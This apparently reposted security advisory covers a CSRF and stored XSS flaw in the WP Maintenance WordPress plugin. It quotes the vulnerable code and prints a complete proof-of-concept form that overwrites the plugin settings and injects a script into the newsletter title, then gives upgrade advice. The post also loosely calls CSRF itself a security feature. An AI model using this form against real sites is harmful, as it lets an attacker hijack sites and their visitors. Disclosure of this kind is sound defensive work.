Security Wordpress

WP Maintenance Plugin Vulnerable To CSRF & XSS

wp maintenance csrf vulnerability

If you have installed WP Maintenance plugin on your WordPress site or blog, this article is for you. Recently Wordfence team discovered CSRF vulnerability in WP Maintenance plugin that is used to put the website on maintenance mode during maintenance.

The plugin allows webmasters to customize the maintenance page and show it to all website visitors during maintenance.

Wordfence team discovered CSRF vulnerability in the plugin that can also allow an attacker to inject malicious code into the website and can redirect all site visitors to another malicious website.

What is CSRF?

We have discussed CSRF in detail in this article. But in brief, CSRF is a security feature that verifies that all users’ requests are coming from the same domain and not the attackers’ site. WordPress creates a token for each request and that token is sent with a request that tells the server the request is legit.

In WordPress, users are required to login to WordPress to be able to perform any administrative task so CSRF vulnerabilities can only be exploited when administrators perform actions unknowingly by clicking on a link in one of the comments.

WP Maintenance plugin was not using a CSRF token or nonce verification when updating plugins settings. The Wordfence team has also provided the code that was lacking the nonce token.

/* Update des paramètres */
if( isset($_POST['action']) && $_POST['action'] == 'update_general' ) {
    if( isset($_POST["wp_maintenance_social_options"]['reset']) && $_POST["wp_maintenance_social_options"]['reset'] ==1 ) {
        $_POST["wp_maintenance_social"] = '';
    update_option('wp_maintenance_social', $_POST["wp_maintenance_social"]);
    update_option('wp_maintenance_social_options', $_POST["wp_maintenance_social_options"]);
    update_option('wp_maintenance_active', $_POST["wp_maintenance_active"]);
    $options_saved = wpm_update_settings($_POST["wp_maintenance_settings"]);
    $messageUpdate = 1;

The above code updates the plugin’s settings parameters without verifying the nonce. This can lead an attacker to send a request with parameters, values and because there is no nonce verification, the plugin will happily update the changes.

The plugin also allows webmasters to show newsletter on the maintenance page but does not sanitize the newsletter title. This means any javascript code injected into the newsletter’s title field will be executed by the web browser.

So the attacker can also set malicious code as the value of newsletter title that can do actions such as redirect visitors to another website.

   <form action="http://URL/wp-admin/admin.php?page=wp-maintenance" method="POST">
      <input type="hidden" name="action" value="update_general" />
      <input type="hidden" name="wp_maintenance_active" value="1" />
      <input type="hidden" name="wp_maintenance_settings[titre_maintenance]" value="EVIL ATTACKER!" />
      <input type="hidden" name="wp_maintenance_settings[text_maintenance]" value="Come back quickly!" />
      <input type="hidden" name="wp_maintenance_settings[text_bt_maintenance]" value="" />
      <input type="hidden" name="wp_maintenance_settings[add_wplogin]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[add_wplogin_title]" value="" />
      <input type="hidden" name="wp_maintenance_settings[enable_seo]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[seo_title]" value="" />
      <input type="hidden" name="wp_maintenance_settings[seo_description]" value="" />
      <input type="hidden" name="wp_maintenance_settings[favicon]" value="" />
      <input type="hidden" name="wp_maintenance_settings[code_analytics]" value="" />
      <input type="hidden" name="wp_maintenance_settings[domain_analytics]" value="URL" />
      <input type="hidden" name="wp_maintenance_social_options[enable]" value="0" />
      <input type="hidden" name="wp_maintenance_social_options[texte]" value="" />
      <input type="hidden" name="wp_maintenance_social" value="" />
      <input type="hidden" name="wp_maintenance_social[twitter]" value="" />
      <input type="hidden" name="wp_maintenance_social[linkedin]" value="" />
      <input type="hidden" name="wp_maintenance_social[flickr]" value="" />
      <input type="hidden" name="wp_maintenance_social[youtube]" value="" />
      <input type="hidden" name="wp_maintenance_social[pinterest]" value="" />
      <input type="hidden" name="wp_maintenance_social[vimeo]" value="" />
      <input type="hidden" name="wp_maintenance_social" value="" />
      <input type="hidden" name="wp_maintenance_social[google_plus]" value="" />
      <input type="hidden" name="wp_maintenance_social[about_me]" value="" />
      <input type="hidden" name="wp_maintenance_social[soundcloud]" value="" />
      <input type="hidden" name="wp_maintenance_social[skype]" value="" />
      <input type="hidden" name="wp_maintenance_social[tumblr]" value="" />
      <input type="hidden" name="wp_maintenance_social[blogger]" value="" />
      <input type="hidden" name="wp_maintenance_social[paypal]" value="" />
      <input type="hidden" name="wp_maintenance_social_options[size]" value="32" />
      <input type="hidden" name="wp_maintenance_social_options[style]" value="style1" />
      <input type="hidden" name="wp_maintenance_social_options[position]" value="bottom" />
      <input type="hidden" name="wp_maintenance_social_options[align]" value="center" />
      <input type="hidden" name="wp_maintenance_social_options[theme]" value="" />
      <input type="hidden" name="wp_maintenance_social_options[reset]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[newletter]" value="1" />
      <input type="hidden" name="wp_maintenance_settings[title_newletter]" value="<script>alert("YOU'VE BEEN HACKED!")</script>" />
      <input type="hidden" name="wp_maintenance_settings[type_newletter]" value="shortcode" />
      <input type="hidden" name="wp_maintenance_settings[code_newletter]" value="" />
      <input type="hidden" name="wp_maintenance_settings[iframe_newletter]" value="" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />

How can attackers exploit CSRF vulnerability?

CSRF vulnerabilities can be exploited by making any authenticated users click on a link and make him/her send request on his behalf to his website. The below code hosted anywhere on the internet when clicked by the authenticated user, the vulnerable plugin will update all the settings parameter as the attacker has set and the admin won’t even notice until he sees websites is no more available online.

How to fix CSRF vulnerability in WP Maintenance?

This vulnerability is available in all versions below 5.0.5 so update the plugin to 5.0.6.

An Advice for web admins

Firewalls can not protect your website from CSRF vulnerabilities because the attacker makes you click on a link and whatever actions are performed are performed as an administrator. So never click on a link from your comment. The link may end up loading a script like above and you will not know what actually happened.


arlo wilbur December 1, 2019 at 2:50 pm

ferenos is more or less identical to Zorin, but FREE as in FOSS — so check it out!

Jim December 2, 2019 at 4:46 pm

I would guess people coming from a closed system like MS Windows 7 will not be to worried about FREE as in FOSS.


Leave a Comment

* By using this form you agree with the storage and handling of your data by this website.